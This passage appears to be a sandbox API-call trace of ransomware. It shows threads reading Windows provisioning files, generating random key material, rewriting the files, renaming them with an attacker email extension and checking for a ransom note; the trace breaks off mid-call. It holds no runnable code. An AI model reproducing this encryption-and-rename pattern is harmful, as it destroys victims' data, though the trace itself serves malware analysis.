RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x55dce08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x55dce08*, lpNumberOfBytesWritten=0x320bf844*=0x8, lpOverlapped=0x0) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x320bf85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x320bf85c*, lpNumberOfBytesWritten=0x320bf844*=0x4, lpOverlapped=0x0) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x320bf844*=0x4, lpOverlapped=0x0) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x320bf844*=0x6c, lpOverlapped=0x0) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x55dcea8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x55dcea8*, lpNumberOfBytesWritten=0x320bf844*=0x20, lpOverlapped=0x0) returned 1 [0089.062] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x320bf844*=0x4, lpOverlapped=0x0) returned 1 [0089.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcea8) returned 1 [0089.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0089.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dce08) returned 1 [0089.062] CloseHandle (hObject=0x634) returned 1 [0089.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17c) returned 0x342c510 [0089.062] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" [0089.063] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0089.063] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0089.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0089.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0089.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0089.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0089.063] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0089.064] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0089.064] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0089.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0089.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421e38) returned 1 [0089.064] RtlExitUserThread (Status=0x1) Thread: id = 1452 os_tid = 0xe44 [0088.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0089.015] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0089.031] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0089.031] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x3213fa0c | out: lpFileSize=0x3213fa0c*=787) returned 1 [0089.031] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x30f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.031] ReadFile (in: hFile=0x634, lpBuffer=0x3213f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x3213f9e0*, lpNumberOfBytesRead=0x3213f9dc*=0x4, lpOverlapped=0x0) returned 1 [0089.032] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0089.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0089.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcdb8 [0089.033] NtQuerySystemTime (in: CurrentTime=0x3213f9b8 | out: CurrentTime=0x3213f9b8*=132121176469280929) returned 0x0 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xed4d45b [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x1ba7aa71 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xe0637ad2 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xe7229796 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x425ae53a [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x9ac0ecac [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x134dea92 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x9faf8a66 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x72bfa369 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x3eb0782c [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xc1b888d0 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x56fd9b0d [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xf06806e7 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xad03bc2a [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xddb47b2b [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xd25234df [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x3c0ce0c6 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x85d09b6b [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x3b92915e [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xa5215413 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x2c5f3c0b [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x8987c3ec [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x8a65fb9 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x4d888623 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x68de7628 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x463bdeea [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x5687b321 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x4aca5d7f [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x3c59e3fb [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xb1fe27ea [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0x898adb69 [0089.033] RtlRandom (in: Seed=0x3213f9c4 | out: Seed=0x3213f9c4) returned 0xa31d4b15 [0089.044] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x313, lpNumberOfBytesRead=0x3213f9b8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x3213f9b8*=0x313, lpOverlapped=0x0) returned 1 [0089.044] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3213f980 | out: lpNewFilePointer=0x0) returned 1 [0089.044] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x313, lpNumberOfBytesWritten=0x3213f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x3213f9b4*=0x313, lpOverlapped=0x0) returned 1 [0089.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcfc0 [0089.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcbb0 [0089.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcbb0) returned 1 [0089.044] WriteFile (in: hFile=0x634, lpBuffer=0x55dcfc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3213f9b0, lpOverlapped=0x0 | out: lpBuffer=0x55dcfc0*, lpNumberOfBytesWritten=0x3213f9b0*=0x20, lpOverlapped=0x0) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfc0) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x55dcde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x55dcde0*, lpNumberOfBytesWritten=0x3213f9dc*=0x8, lpOverlapped=0x0) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x3213f9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x3213f9f4*, lpNumberOfBytesWritten=0x3213f9dc*=0x4, lpOverlapped=0x0) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3213f9dc*=0x4, lpOverlapped=0x0) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3213f9dc*=0x6c, lpOverlapped=0x0) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x55dcea8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x55dcea8*, lpNumberOfBytesWritten=0x3213f9dc*=0x20, lpOverlapped=0x0) returned 1 [0089.045] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3213f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3213f9dc*=0x4, lpOverlapped=0x0) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcea8) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcde0) returned 1 [0089.045] CloseHandle (hObject=0x634) returned 1 [0089.045] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x342c510 [0089.045] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" [0089.046] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0089.046] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0089.047] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0089.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0089.047] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0089.047] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0089.047] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0089.047] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0089.047] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0089.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0089.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421f80) returned 1 [0089.047] RtlExitUserThread (Status=0x1) Thread: id = 1453 os_tid = 0xe40 [0088.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml")) returned 0x20 [0088.985] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0089.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0089.014] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x321bfcd0 | out: lpFileSize=0x321bfcd0*=763) returned 1 [0089.014] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x2f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.014] ReadFile (in: hFile=0x634, lpBuffer=0x321bfca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x321bfca0, lpOverlapped=0x0 | out: lpBuffer=0x321bfca4*, lpNumberOfBytesRead=0x321bfca0*=0x4, lpOverlapped=0x0) returned 1 [0089.016] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0089.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0089.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd90 [0089.016] NtQuerySystemTime (in: CurrentTime=0x321bfc7c | out: CurrentTime=0x321bfc7c*=132121176469124453) returned 0x0 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x80a21553 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xfe9b7660 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x2c2a2af7 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xade035d6 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x39252cf2 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x7e79536b [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x7883d45d [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xe3e2a21d [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xe331e70 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x8d6d9eb3 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x530ead82 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x3b1b45bf [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x2b962919 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x78db0030 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x19f2d58d [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x579f75fe [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x9ebd1507 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x7e65f356 [0089.016] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xd96ceb31 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x56171690 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x66936dd9 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x9cdb9fa5 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x77684cd3 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xdf445804 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xe132ed74 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x60e6398b [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x8335229 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xd2d30dc5 [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x4b251bdf [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0xc63fa2ad [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x5496574a [0089.017] RtlRandom (in: Seed=0x321bfc88 | out: Seed=0x321bfc88) returned 0x328992c6 [0089.027] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2fb, lpNumberOfBytesRead=0x321bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x321bfc7c*=0x2fb, lpOverlapped=0x0) returned 1 [0089.027] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321bfc44 | out: lpNewFilePointer=0x0) returned 1 [0089.027] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x2fb, lpNumberOfBytesWritten=0x321bfc78, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x321bfc78*=0x2fb, lpOverlapped=0x0) returned 1 [0089.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcfc0 [0089.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcbb0 [0089.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcbb0) returned 1 [0089.027] WriteFile (in: hFile=0x634, lpBuffer=0x55dcfc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x321bfc74, lpOverlapped=0x0 